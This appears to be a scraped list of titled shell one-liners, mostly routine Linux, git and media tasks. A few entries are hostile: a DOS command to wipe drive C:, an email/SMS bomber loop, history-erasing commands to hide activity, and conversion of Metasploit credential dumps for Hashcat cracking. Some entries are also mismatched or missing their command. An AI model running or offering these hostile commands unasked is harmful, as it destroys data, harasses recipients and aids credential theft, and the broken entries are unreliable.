Find Duplicate Files (based on size first, then MD5 hash)
find . -type f -not -empty -printf "%-25s%p\n"|sort -n|uniq -D -w25|cut -b26-|xargs -d"\n" -n1 md5sum|sed "s/ /\x0/"|uniq -D -w32|awk -F"\0" 'BEGIN{l="";}{if(l!=$1||l==""){printf "\n%s\0",$1}printf "\0%s",$2;l=$1}END{printf "\n"}'|sed "/^$/d"
Save a file you edited in vim without the needed permissions
w !sudo cat >%
search APT's cache for a regex and let it display name and short description of matches
apt-cache search byo | sed "s/^\([[:alnum:]\.-]*\) - /\1=%%%=- /" | column -s '=%%%=' -t
Resolve *.so dependencies in current directory and copy to /tmp/build directory
for f in $(find . -name "*.so"); do ldd -v $(realpath $f) | grep -Eo "(/[a-z0-9\_.+-]+)*" | uniq | xargs -I % cp --parents % /tmp/build; done
List latest 5 modified files recursively
ls -laht `find / -name "*.*" -type f -newermt "2016-04-05" ! -newermt "2016-04-10"`|head -5
create iso from partition
dd if=/dev/sdb of=/destination/usb-image.iso
Random IPv4 address
for i in a b c d; do echo -n $(($RANDOM % 256)).; done | sed -e 's/\.$//g'
Download certificate from FTP
echo | openssl s_client -servername ftp.domain.com -connect ftp.domain.com:21 -starttls ftp 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
rsync using pem file
rsync -e 'ssh -i /root/my.pem' -avz /mysql/db/data_summary.* ec2-1-2-4-9.compute-1.amazonaws.com:/mysql/test/
Defcon 18 Quals Binary L33tness 300 Solution
echo "6d5967306474686924697344406b3379" | xxd -r -p
Find the source file which contains most number of lines in your workspace
find -name "*.<suffix>" -exec wc -l "{}" \; | sort -n | tail
View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/80562 8908 10999 &>/dev/null &); sleep 10; wait $(vlc http://localhost:10999); killall sp-sc
compare the contents of two directories
sdiff <(ls /) <(ls /usr)
add all files not under version control to repository
svn st | grep '^?' | sed -e 's/\?[[:space:]]*//' | tr '\n' '\0' | xargs -0 svn add
See your current RAM frequency
/usr/sbin/dmidecode | perl -lne 'print $1 if /Current\s+Speed:\s+(\d+\s+MHz)/'
Unmount all CIFS drives
for D in `mount -lt cifs | sed 's/.*on \(\/.\+\) type.*/\1/'`; do echo -n "UNMOUNTING $D..."; sudo umount $D; echo " [DONE]"; done;
Simple find
find / -name '*android*' 2>errors.txt
shorter loop than for loop
seq -f 'echo %g' $NUM | sh
Removes all packages recommended by other packages
aptitude remove '?and( ?automatic(?reverse-recommends(?installed)), ?not(?automatic(?reverse-depends(?installed))) )'
creating you're logging function for your script
logme(){ echo "$(date +%d-%m-%Y-%H:%M) => $0 @ $1 returned error" >> persoscript.log }
Extract ip addresses with sed
sed -n 's/.*\(\(\(^\| \)[0-9]\{1,3\}\.\)\{1\}\([0-9]\{1,3\}\.\)\{2\}[0-9]\{1,3\}\) .*/\1/gp'
get process id with program name
ps -efa | grep httpd | grep -v grep | awk '{ print $2 }' |xargs
Display all zombie process IDs
ps axo pid=,stat= | awk '$2~/^Z/ { print $1 }'
Do not log last session in bash history:
kill -9 $$
Watch PHP log, without knowing it's location (gets from php.ini)
tail -v -f $(php -i | grep "^[ \t]*error_log" | awk -F"=>" '{ print $2; }' | sed 's/^[ ]*//g')
Recovery patition from iso
dd if=/sourceDestination/usb-image.iso of=/dev/sdb
Compare directories (using cmp to compare files byte by byte) to find files of the same name that differ
find . -maxdepth 1 -mindepth 1 -print0 | xargs -0 -n 1 -I % cmp % /DUPDIR/% 2>/dev/null
Scan computers OS and open services on all network
nmap -O 192.168.1.1/24
Randomize lines (opposite of | sort)
perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt
Unzip testresult file from all zip-files and merge them into one testresult file.
7z e *.zip -r testresult -so >> testresult.txt
diff two css files to create an overriding css (e.g. for wordpress child themes)
diff -U99999 original.css modified.css | awk '/^-/{next} {f=f"\n"$0} /^\+.*[^ ]/{yes=1} /}/ {if(yes){print f} f="";yes=0}'
Run puppet agent in one-off debug mode
puppet agent --test --debug
Music streaming via ssh
ssh login@server "cat path/filename.mp3" | mplayer -
Filtering IP address from ifconfig usefule in scripts
print ${$(ifconfig wlan0)[6]}
To find a class/properties/xml in collection of jars
for i in `find . -name "*.jar"`; do jar -tvf $i | grep -v /$ | awk -v file=$i '{print file ":" $8}'; done > all_jars.txt
Get MAC ID linux command line
ifconfig |grep HWaddr |cut -d ' ' -f 1,11 |grep eth0 |cut -d ' ' -f 2|xargs | awk -F':' '{ print $1$2$3$4$5$6 }'
Highlight and beep on regular expression match
hl() { while read -r; do printf '%s\n' "$(perl -p -e 's/('"$1"')/\a\e[7m$1\e[0m/g' <<< "$REPLY")"; done; }
Thread count by process, sorted + total
( ps -U nms -o pid,nlwp,cmd:500 | sort -n -k2) && (ps h -U nms -o nlwp | paste -sd+ | bc)
Backup your OpenWRT config (only the config, not the whole system)
ssh root@router "uci export" > router.conf
checking if an IP is valid.
echo $IP | egrep '^(([0-9]{1,2}|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.){3}([0-9]{1,2}|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$'
CURL example to get records from CouchDB
clear; url="http://<addr>:<port>"; query="<view>"; echo "$url$(curl -s "$url$query" | jq -r '.rows[0].value')"
Find and rename
find . -name "booyah" -exec rename booyah booyah.disabled {} \;
Listing only one repository with yum
yum list | grep my_repository_name
find and copy any format of file
find /directory/of/search -name "*.png" type -f -exec cp '{}' /path/to/copy/ ';'
Delete first 10 branches from remote origin (exclude master)
git branch -a | grep "remotes/origin" | grep -v master | sed 's/^[ *]*//' | sed 's/remotes\/origin\///' | head -n10 | sed 's/^/git push origin :/' | bash
pretty print json block that has quotes escaped
echo 'json_here' | sed 's/\\//g' | jq .
Show all local disk and UFS mounts on Solaris
df -kFufs
Count how many times a certain referer appears in your apache log
Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l
Hexadecimal dump of a file, pipe, or anything
cat testfile | hexdump -C
How to delete all the archive files with extension *.tar.gz and greater than 10MB?
find / -type f -name *.tar.gz -size +10M -exec ls -l {} \;
deleter
find . ! -size 0c -mtime +1 -type f -delete
Remove new lines
xargs < [inputfile]
delete local and remote git repos if merged into local master
git branch | cut -c3- | grep -v "^master$" | while read line; do git branch -d $line; done | grep 'Deleted branch' | awk '{print $3;}' | while read line; do git push <target_remote> :$line; done
Find directories with lots of files in them
sudo find / -type f | perl -MFile::Basename -ne '$counts{dirname($_)}++; END { foreach $d (sort keys %counts) {printf("%d\t%s\n",$counts{$d},$d);} }'|sort -rn | tee /tmp/sortedfilecount.out | head
one-line log format for svn
svn log | perl -pe 's/\n//g => s/^-.*/\n/g'
Approximate grep for finding typos
agrep -2 differentially README.txt
Run puppet master in foreground in debug mode
puppet master --no-daemonize --debug
Extract remote gzip tarball
ssh user@remote "cat /path/to/archive.tgz" | tar zxvf -
Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -exec ls -shS {} + | head -10
Geolocate a given IP address (zh-CN)
ydip () { w3m -dump "http://www.youdao.com/smartresult-xml/search.s?type=ip&q=$1"; }
To install guest additions in arch or manjaro linux, run the following command:
sudo pacman -S virtualbox-guest-utils
Linux screenshot
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /home/ken/Desktop/moviemade1.mpg
Get file from remote system
scp username@host|ipaddress:/directory/path .
convert PDF manga to Image's
gs -dNOPAUSE -dBATCH -sDEVICE=png16m -sOutputFile=blood%d.png -r700x600 out.pdf
Download all pdf files off of a website using wget
lynx -dump -listonly http://webpage.com | awk '/pdf$/ { print "wget " $2}'| sort | uniq | sh
Ensuring that the IP has no strange characters
echo ${IP} | sed "s/[0-9\.]//g"
Read the superblock
od -Ad -tx -j1024 -N1024 /dev/sdx
Permissions change on all folders in directory
find . -type d -exec chmod 755 {} \;
Use tail -f effectively by omiting unwanted lines containing particular pattern of words using grep -v.
tail -f test | grep -v "bea"
Extract queries from mysql general log
grep -Eo '( *[^ ]* *){4}Invoice_Template( *[^ ]* *){4}' /mysql-bin-log/mysql-gen.log | head -10000 | sort -u
Download all Phrack .tar.gzs
for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done
Colorized grep in less
ack --pager='less -r'
How to archive all the files that are not modified in the last x number of days?
find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m%Y'_archive.tar`
Timezone conversions (eg: what time was @tz_dest when it was $tm @tz_orig)
TZ="$tz_dest" date -d "$(TZ="$tz_orig" date -d "$tm")"
Days left before password expires
let NOW=`date +%s`/86400 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f3` ; PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5`; DAYS_LEFT=$(( PASS_LAST_CHANGE + PASS_LIFE - NOW)) ; echo $DAYS_LEFT
Convert Unix newlines to DOS newlines
perl -ple 'BEGIN { $\ = "\r\n" }'
grep lines containing two consecutive hyphens
grep "\-\-" file
Multi-segment directory downloading with lftp
lftp -u user,pass ftp://site.com/ -e 'mirror -c --parallel=3 --use-pget-n=5 "Some folder"'
Get the /dev/disk/by-id fragment for a physical drive
print /dev/disk/by-id/*(@[1]:t)
Recursively count the number of CSV files in each given directory
csvcount() { for dir in $@; do echo -e "$(find $dir -name '*.csv' | wc -l)\t$dir"; done }
restart session
sudo restart lightdm
Backup your OpenWRT config (only the config, not the whole system)
ssh root@router "sysupgrade -b -" > backup-router-$(date +%F-%R).tar.gz
Stage change on tracked files.
git add -u
Bulk change of mail domains in Rainloop
sed -i -E 's/mail\..*/localhost\"/g' *
Permissions change on all files in current directory
find . -type f -exec chmod 644 {} \;
Hide what you've done so far
history -c && clear && printf "\e[3J"
Grab the first 3 octets of your ip addresses
hostname -i | tr " " "\n" | grep -v "::\|^169.254\|^127.0.0.1" | cut -d"." -f1-3
Open VLC player with search results from YouTube
GET https://www.youtube.com/results?search_query=shaun+the+sheep | sed -ne '/<a href="\/watch.*title="/s/.*<a href="\(\/watch[^"]*\)".* title="\([^"]*\)".*/https:\/\/www.youtube.com\1/p' | vlc -
Change values from 0 to 100
awk '{if ($3 =="LAN" && $5 == "0.00" ) print $1, $2, "LAN", "288", "100.00"; else print $1 ,$2, $3, $4, $5 }' sla-avail-2013-Feb > sla-avail-2013-Feb_final
To get the latest information on rpm packages
rpm -qa --last
Delete duplicated dictionaries in spell check list
sudo find /usr/share/hunspell/ -lname '*' -delete
Create a directory and cd into it
mydir(){mkdir -p $1 && cd $1}
Get the time and date of the last server reboot
date -d "$(uptime | awk '{gsub(/,/,"",$3);gsub(/:/," hours ",$3); print "- " $3 " minutes"}')"
Rekursive Grep on Solaris or AIX Systems without GNU egrep -r funcionality
find . -type f -exec awk '/linux/ { printf "%s %s: %s\n",FILENAME,NR,$0; }' {} \;
Display icons in Desktop Gnome 3 of Fedora
gsettings set org.gnome.desktop.background show-desktop-icons true
Remove from PATH paths containing a string
export PATH= $(echo $PATH | tr ':' '\n' | awk '!/matching string/' | paste -sd:)
show WAN IP
curl ifconfig.me
show 20 last modified files in current directory including subdirectories
ls -tl **/*(om[1,20])
dpkg: purge all packages matching some name
sudo dpkg -P $(dpkg -l yourPkgName* | awk '$2 ~ /yourPkgName.*/ && $1 ~ /.i/ {print $2}')
Detect encoding of a text file
uchardet <filename>
Mass convert Manga PDF's to Images
for f in *.pdf; do gs -dNOPAUSE -dBATCH -sDEVICE=png16m -sOutputFile="${f%.pdf}/${f%.pdf}%d.png" -r700x600 "$f" ;done
Display ip info
ip a s
tar.gz with gpg-encryption on the fly
tar --create --file - | gpg --encrypt --recipient --output .tar.gpg
Touch the commit date of the last commit. Useful in combination with git cherry-pick
env GIT_COMMITTER_DATE=(date) git commit --amend --date (date)
open listening ports
netstat -ltn | awk -n '/tcp /{ split($4, x, ":"); print(x[2]); }' | sort -n
Scan LAN and get Windows host names
nmap -sn --system-dns 192.168.0.1-253
To get the different name field nformation on rpm packages
rpm -qa --qf '%{name}'
Exit mc with 2 keystrokes
Migrate gems from one ruby installation to another
/originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh
Display the output of a command from the first line until the first instance of a regular expression.
<your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'
Search for a pattern across files in a code base (leaving out CVS directories)
for f in $(find /path/to/base -type f | grep -vw CVS); do grep -Hn PATTERN $f; done
Get the time and date of the last server reboot
last reboot
bash chop
sed 's/.$//'
Stream video to screen with a delay (cyberart)
mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video1 -nosound -ovc lavc -really-quiet -quiet -o - | (sleep 10m; cat) | mplayer - -cache 512
For Loop in DOS Batch File
FOR %%c in (C:\Windows\*.*) DO (echo file %%c)
vi a remote file with port
vim sftp://[user@]host.domain.tld:[port]/[path/][file]
Mouse Remap Trolling
xmodmap -e "pointer = $(shuf -i 1-5 | tr '\n' ' ')"
To Find CVE fix from the rpm log
for i in $(cat vulns.txt); do echo $i; rpm -qa ?changelog | grep -i $i; done
List all Centos intalled packages
yum list installed| awk '{print $1}'| grep -e "x86" -e "noarch" | grep -v -e '^@'| sort
rename all dirs with "?" char in name
find . -type d -name "*\?*" | while read f;do mv "$f" "${f//[^0-9A-Za-z.\/\(\)\ ]/_}";done
remove password from pdf file
pdftk input.pdf output output.pdf user_pw YOURPASSWORD-HERE
tsv file to json file
export FIELDS=field_1,field_2,field_3; cat input_file.tsv| ruby -rjson -ne 'puts ENV["FIELDS"].split(",").zip($_.strip.split("\t")).inject({}){|h,x| h[x[0]]=x[1];h}.to_json' > output_file.json
tcpdump -i eth1 -s0 -v -w /tmp/capture.pcap
tcpdump -i eth1 -s0 -v -w /tmp/capture.pcap
Start mysql server on Mac
sudo /Library/StartupItems/MySQLCOM/MySQLCOM start
bash | lolcat -a -s 250
make your terminal interactive and fun
list tomcat webapps
ssh tomcat-server ls -l webapp-dir | grep -- '->' | awk ' { print $(NF-2) " " $(NF-1) " " $NF; }'
Limit characters per line when viewing manual pages.
MANWIDTH=70 man 7 man
Copy a file content to clipboard on Cygwin
cat file.txt | putclip
Generate schema documentation for an Oracle database
java -jar ~/Downloads/schemaSpy_5.0.0.jar -dp ~/instantclient_10_2/ojdbc14.jar -t orathin -db DBNAME -host HOSTNAME -port 1521 -u USERNAME -p PASSWORD -o KSEMBEDDED-ks-1.3-merge
Create a git archive of the latest commit with revision number as name of file
git archive HEAD --format=zip -o `git rev-parse HEAD`.zip
Convert metasploit cachedump files to Hashcat format for cracking
cd ~/.msf4/loot && cat *mscache* | cut -d '"' -f 2,4 | sed s/\"/\:/g | tr -cd '\11\12\40-\176' | grep -v Username | cut -d : -f 1,2 | awk -F':' '{print $2,$1}' | sed 's/ /:/g' > final.dcc.hash
Find stock debian package config files that have been modified since installation
dpkg-query -Wf '${Package}\n' | xargs dpkg --status | sed '/^Conffiles:/,/^Description:/!d;//d' | awk '{print $2 " " $1}' | md5sum -c 2>/dev/null | grep FAILED$ | cut -f1 -d':'
shows history of logins on the server
last
Migrate wordpress db between two hosts changing the URL on the fly with encryption and compression
ssh -q ${SRC_HOST} "mysqldump --add-drop-database --create-options --databases wordpress | sed -r \"s/${OLD_URL}/${NEW_URL}/g\" | gzip -9" | ssh ${DST_HOST} "gunzip | mysql"
Download all items from a list of URLs copied to the clipboard on OS X
pbpaste | xargs wget
highest resolution of your ouputs as screen resolution and scaled versions on other outputs
xrandr --fb 1920x1080 --output LVDS1 --scale 1.5x1.35 --output HDMI1 --mode 1920x1080
follow DNS Bind named log
journalctl --unit=named --follow
Ping your gateway at home
ping `traceroute -m 2 8.8.8.8 |tail -1|grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}"`
Update git-based vim plugins in a command
cd ~/.vim/bundle/ ; LS="$(ls -1)" ; for DIR in ${LS[@]} ; do cd $DIR ; git pull ; cd .. ; done
tcpdump -i eth1 -s0 -v -w /tmp/capture_date +%d_%m_%Y__%H_%I_%S.pcap
tcpdump -i eth1 -s0 -v -w /tmp/capture_`date +%d_%m_%Y__%H_%I_%S`.pcap
Block an IP address
IP=192.168.0.12 DELAY=15 bash -c 'sudo iptables -A INPUT -s ${IP:-badguy.localdomain} -j DROP && echo blocked "$IP" && sudo bash -c "sleep ${DELAY:-600}; iptables -D INPUT -s ${IP:-badguy.localdomain} -j DROP && echo unblocked $IP" 1>&1 & disown %1'
who is the console user?
who | grep :0 | head -1 | cut -d " " -f 1
Copy current branch to clipboard [Windows]
(git branch | Where-Object { $_.Contains('*') } | Select-Object -First 1).Trim('*').Trim() | Set-Clipboard
to get how many users logged in and logged out and how many times purely using awk
last | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}'
Display the output of a command from the first line until the first instance of a regular expression.
<command> | perl -pe '/<regex/ && exit;'
Create a false directory structure for testing your commands
for i in /usr/bin/* ;do touch ${i##*/}; done
List state of NAT.
netstat-nat -n
How to run a shell script on a remote host using ftp
watch -n10 "if test -e run.txt ; then chmod +x script.sh && ./script.sh && rm run.txt || rm run.txt && echo > failed.txt ; fi"
Monitor file contents that is being overwritten regularly
while sleep 1; do clear; cat /tmp/whatever.cue; done
backup your BMR info
dd if=/dev/sda of=mbr.bk bs=512 count=1
Remove semaphores
ipcs -s | grep apache | awk ' { print $2 } ' | xargs ipcrm sem
Transfer with rsync a file using SSH with a forced HMAC integrity algorithm
rsync -av -e "ssh -o MACs=hmac-ripemd160" --progress --partial user@remotehost://path/to/remote/stuff .
Check reachable sites
10,30,50 * * * * ping -q -c1 -w3 www.test.com | grep '1 received' - || mail -ne -s'Host 192.168.0.14 not reachable' test@gmail.com
Tail -f: truncate and search
tail -f LOG_FILE | grep --line-buffered SEARCH_STR | cut -d " " -f 7-
Find supported dependency manager manifests
find /srv/code -maxdepth 4 -type f -regex ".*\(\(package\|composer|npm\\|bower\)\.json\|Gemfile\|requirements\.txt\\|\.gitmodules\)"
Printout a list of field numbers from a CSV file with headers as first line.
sed 's/,/\n/g;q' file.csv | nl
Adding Prefix to File name
rename 's/^/CS749__/' *.pdf
perl http get one-liner
perl -MLWP::UserAgent -le 'print LWP::UserAgent->new(requests_redirectable => [])->get(shift)->decoded_content()' "http://dazzlepod.com/ip/me.json"
flush stdin in bash
read -d ^D
dmesg: follow/wait for new kernel messages
dmesg -w
Stage all files for commit except those that are *.config at any level within your git repo [Windows]
git status | Where-Object {$_.Contains('modified') -and !$_.Contains('.config')} | ForEach-Object { git add $_.Replace('modified:','').Trim() }
Download screenshot or frame from YouTube video at certain timestamp
ffmpeg -ss 8:14 -i $(youtube-dl -f 299 --get-url URL) -vframes 1 -q:v 2 out.jpg
Upload an image to Twitpic
curl -F "username=mytwiterlogin" -F "password=mytwitterpassword" -F "message=My image description" -F media=@"./image.png" http://twitpic.com/api/uploadAndPost
Edit the list of to ignore files in the active directory
svn pe svn:ignore .
Dump your Thunderbird Lightning todo list in CSV format
sqlite3 -csv ~/.thunderbird/*.default/calendar-data/local.sqlite "SELECT CASE WHEN priority IS NULL THEN 5 ELSE priority END AS priority, title FROM cal_todos WHERE ical_status IS NULL ORDER BY priority ASC, last_modified DESC;"
Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" | play -t mp3 -
Lil stats on instant usage of navigator
awk 'BEGIN{ff=0;chr=0;sf=0}{if($0~/Firefox/){ff=ff+1}if($0~/Safari/){sf=sf+1}if($0~/Chrome/){chr=chr+1} }END{total=(chr+ff+sf); print "Total: "total "\nSafari: " (sf/total*100) "\nFirefox: "(ff/total*100) "\nChrome: "(chr/total*100) }' /logs/access_log
Change permissions for all files in the current directory
find ./ -type f | xargs sudo chmod 644
get the info which branch was created
svn log --stop-on-copy -r 1:HEAD -l 1
Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | grep ^URL | awk -F\/ '{print $NF}'
SVN - set exec bit on
svn ps svn:executable yes /web/itscripts/check_mail.plproperty
Command line email/SMS Bomber
while true; do echo "message here" | mutt something@something.com ; done
Find stock debian package config files that have been modified since installation
debsums
check site if not reachable
10,30,50 * * * * ping -c1 -w3 www.test.com >/dev/null
Check CRL expiration time
[ `curl 'http://crl.godaddy.com/gds5-16.crl' 2>/dev/null | openssl crl -inform DER -noout -nextupdate | awk -F= '{print $2}' | xargs -I{} date -d {} +%s` -gt `date -d '8 hours' +%s` ] && echo "OK" || echo "Expires soon"
Generate a random string (for password, hash or whatever)
dd if=/dev/urandom bs=1k count=1 2>/dev/null|LC_CTYPE=C tr -dc 'abcdefghijklmnopqrstuvwxyz0123456789!@#%^&*(-_=+)'|head -c 20
Outputs unique error messages from the apache log and count, sorted by frequency
cat /var/log/apache2/error.log | awk '{out=$9;for(i=9;i<=NF;i++){out=out" "$i}; print out}' | sed s/,\ referer.*// | sort | uniq -c | sort -nr
Poor man's unsort (randomize lines)
python -c "with open(file, 'r') as f: mydict = {} for line in f.readlines(): mydict[line] = None for v in mydict.keys(): print v "
grab all m4a file from bbc radio 4 extra for some easy audio ebbok listening
get_iplayer --type=radio --channel "Radio 4 Extra" | grep : | awk '{ if ( NR > 1 ) { print } }'|sed 's/:.*//' |sed '$ d' > pidlist && while read p; do get_iplayer --get --fields=pid $p; done <pidlist && rm pidlist
Print everything after last slash
basename /etc/environment
Automatically update all the installed python packages
for i in `pip list -o --format legacy|awk '{print $1}'` ; do pip install --upgrade $i; done
drive empty
@Echo off Del C: *.* |y
Generate a certificate signing request based on an existing certificate. certificate.crt MUST be exists before !
openssl x509 -x509toreq -in certificate.crt -out CSR.csr -signkey privateKey.key
mysql backup utility
mysqlbackup --port=3306 --protocol=tcp --user=dba --password=dba --with-timestamp --backup-dir=/tmp/toback/ --slave-info backup-and-apply-log --innodb_data_file_path=ibdata1:10M:autoextend --innodb_log_files_in_group=2 --innodb_log_file_size=5242880
Listen to TWiT with mpd/mpc
mpc clear && mpc add http://twit.am:80/listen && mpc play
deleter
find -type f -size +0 -mtime +1 -print0|xargs -0r rm -f
Disabling Spotlight on Mac OS
sudo mdutil -a -i off
sort a list of comma separated numbers: sort_csn
sort_csn () { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; }
find and delete empty directories recursively
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"
Convert Hex to String
echo 474e552773204e6f7420556e697821 | sed -e 's/\(.\{2\}\)/\\\\x\1/g' | xargs echo -e
Convert Windows/DOS Text Files to Unix
sed -i 's/\r//' <filename>
insert blank lines
sed G input.txt | cat -s
human readable total directory size
du -cah /path/to/folder/ | grep total
Change permission for all directories inside the current one
find site/ -type d | xargs sudo chmod 755
Find out current working directory of a process
pwdx $(pgrep command)
Convert multiple images to multi page PDF (with specific page order)
convert {1..12}.png MyMultiPageFile.pdf
Extract the right stereo channel from all the wav files in current dir (left channel would be 'remix 1')
for i in *.wav; do sox "$i" "${i%.*}_RightChan.wav" remix 2; done
Removes lines [range] from file
sed '1,5d' /path/to/file
Perform a reverse DNS lookup
dig +short -x 127.0.0.1
Zypper: Remove all packets installed on a certain date
zypper rm -u -D `grep -E "^2014-11-27.{9}[|]install" /var/log/zypp/history|awk -F \| '{print $3" "}'`
Check the destination of a shortened URL without opening it
curl -sIL http://bit.ly/1aalcwX | grep 'Location: '
Use aws cli exclusively to query useful information about instances in a VPC
aws ec2 describe-instances --filters "Name=vpc-id,Values=<replace_with_id>" --query 'Reservations[].Instances[].[ [Tags[?Key==`Name`].Value][0][0],PrivateIpAddress,InstanceId,State.Name,Placement.AvailabilityZone ]' --output table
do anything with the last created (touched, accessed) file in the current dir
bar() { foo=$(ls -rt|tail -1) && read -ep "cat $foo? <y/n> " a && [[ $a != "n" ]] && eval "cat $foo" ;}
status and statistical information about the battery
upower -i /org/freedesktop/UPower/devices/battery_BAT0
Show hash and message of dangling git commits
git fsck --lost-found | grep commit | cut -d " " -f 3 | xargs git show -s --oneline
Monitor Wireless Adapter Stats
watch -n 1 cat /proc/net/wireless
Run a command even after closing the terminal session
<Command> & disown
Append last argument to last command
Generate a new private key and Certificate Signing Request. CSR.csr MUST be extist before !
openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key
iso to USB with dd and show progress status
image="file.iso";drive="/dev/null";sudo -- sh -c 'cat '"${image}"'|(pv -n -s $(stat --printf="%s" '"${image}"')|dd of='"${drive}"' obs=1M oflag=direct) 2>&1| dialog --gauge "Writing Image '"${image}"' to Drive '"${drive}"'" 10 70 7'
InnoDB related parameters
mysqladmin variables | egrep '(innodb_log_file|innodb_data_file)'
SSH monitor
ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done
Have a list of directories in a file, ending with newlines and need to run du on it?
cat filename | tr '\n' '\0' | du -hsc ?files0-from=-
Show full path followed by a command
perl -le 'chomp($w=`which $ARGV[0]`);$_=`file $w`;while(/link\b/){chomp($_=(split/`/,$_)[1]);chop$_;$w.=" -> $_";$_=`file $_`;}print "\n$w";' COMMAND_NAME
expand a program-name into an absolute path on the bash command-line, using ctrl-e
bind '"\C-e":"\eb `which \ef`\e\C-e"'
Change your exported xml love list from last.fm, into Song: songname Artist: artistname
cat username_lovedtracks.xspf |perl -pe "s/.*<title>(.*)<\/title><creator>(.*)<\/creator>.*/Song: \1 Artist: \2/gi"> titles
Show git branches by date - useful for showing active branches
for k in $(git branch | sed /\*/d); do echo "$(git log -1 --pretty=format:"%ct" $k) $k"; done | sort -r | awk '{print $2}'
Find resolvable hosts in subnet
nmap -sL 74.125.237.1/24
Copy Current Command Line to Clipboard
bind '"\C-l": "\C-u cat <<EOT | pbcopy \n \C-y \nEOT\n"'
Remove UTF-8 Byte Order Mark BOM
find . -type f -regex '.*html$' -exec sed -i 's/\xEF\xBB\xBF//' '{}' \;
Extract audio from dvd vobs in current dir
for i in *.VOB; do mplayer "$i" -ao pcm:file="${i%.*}.wav"; done
Generate entropy
rngd -f -r /dev/urandom
Get a PostgreSQL servers version
psql -X -A -t -c "SELECT version();"
Update music info with public database data
eval echo $(echoprint-codegen "/path/to/file.mp3"| jq ' .[0].metadata | "mp3info -a \"" + .artist + "\" -t \"" + .title + "\" -l \"" + .release + "\" \"" + .filename + "\"" ' ) | bash
Have a user generate an ssh key if it does not already exist and spit it in bold red to stdout
if [ -e ~/.ssh/id_rsa.pub ] ; then echo $'\033[1;31m' ; cat ~/.ssh/id_rsa.pub ; echo $'\033[0m' ; else ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -t rsa -P ""; echo $'\033[1;31m' ; cat ~/.ssh/id_rsa.pub ; echo $'\033[0m'; fi
Operating system identification data
cat /etc/os-release
output your mp3 file over SSH on a remote computer's speaker
cat /home/user/file.mp3 | ssh -C user@host mpg123 -
Recursively remove "node_modules" directories
find . -name "node_modules" -exec rm -rf '{}' \;
bash test check validate if variable is number
varNUM=12345; re='^[0-9]+$'; if ! [[ $varNUM =~ $re ]] ; then echo "error: Not a number"; fi
printing with psnup
psnup -4 -pa4 -Pa4 file.ps file2.ps
Log a command's votes
while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes; sleep 10; done
configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem :'+line[:-1][:line.index(' ')] + ' , ' +line[:-1][line.index(' '):].replace('(',':version => ').replace(')','') for line in l];print '\n'.join(x)"
Burn an ISO on command line with hdiutil on mac
hdiutil burn foo.iso
Make a quick alias for seeing date's format codes.
alias dateformatcodes="date --help | sed -n '/^FORMAT/,/%Z/p'"
Get first argument in a script
[ $1 ] && my_dir=$1
Put subtitles on black band in Mplayer
mplayer -vf-add scale=<SCREEN_WIDTH>:-3:::0.00:0.75 -vf-add expand=:<SCREEN_HEIGHT> -sub <SUBTITLE> <MOVIE>
Kill unresponsive Xen VMs
/opt/xensource/debug/destroy_domain -domid <id>
mysqlbinlog headers sorted by event time
mysqlbinlog <logfiles> | grep exec | grep end_log_pos | grep -v exec_time=0 | sed 's/^\(.*exec_time=\([0-9]\+\).*\)/\2 - \1 /' | sort -n
Create a tar archive with cpio containing a set of files
find path -name '*' -type f | cpio -ov -H ustar -F txtarchive.tar
Size for all directories inside the current one
find . -type d -maxdepth 1 | xargs du -sh
Deleting directory recurcive. Directories will be deleled when empty or contains only .svn subdirectory
for I in $(find . -depth -type d -not -path "*/.svn*" -print) ; do N="$(ls -1A ${I} | wc -l)"; if [[ "${N}" -eq 0 || "${N}" -eq 1 && -n $(ls -1A | grep .svn) ]] ; then svn rm --force "${I}"; fi ; done
Set hidden attribe to a file in fat
fatattr -h <file>
Check for listening services
netstat -tuapen | grep LISTEN
Debug openssl from CLI
openssl s_client -state -connect site.com:443
find only current directory (universal)
find /some/directory/* -prune -type f -name *.log
find files that have been modified recently
find /target_directory -type f -mmin -60 --mindepth 2
Find Malware in the current and sub directories by MD5 hashes
for i in $(find . -type f); do echo -n "$i " ;dig +short $(md5sum $i | cut -d' ' -f1).malware.hash.cymru.com TXT; echo ; done
Dialog customization WITHOUT configuration file
OLDDIALOGRC=$DIALOGRC; export DIALOGRC=/dev/stdin; echo -e "<configuration>" | dialog <options>; export DIALOGRC=$OLDDIALOGRC
progress bar while using dd
sudo dd if=file.iso |pv| sudo dd of=/dev/sdX
can look for large files taking up disk spaces using the cmd
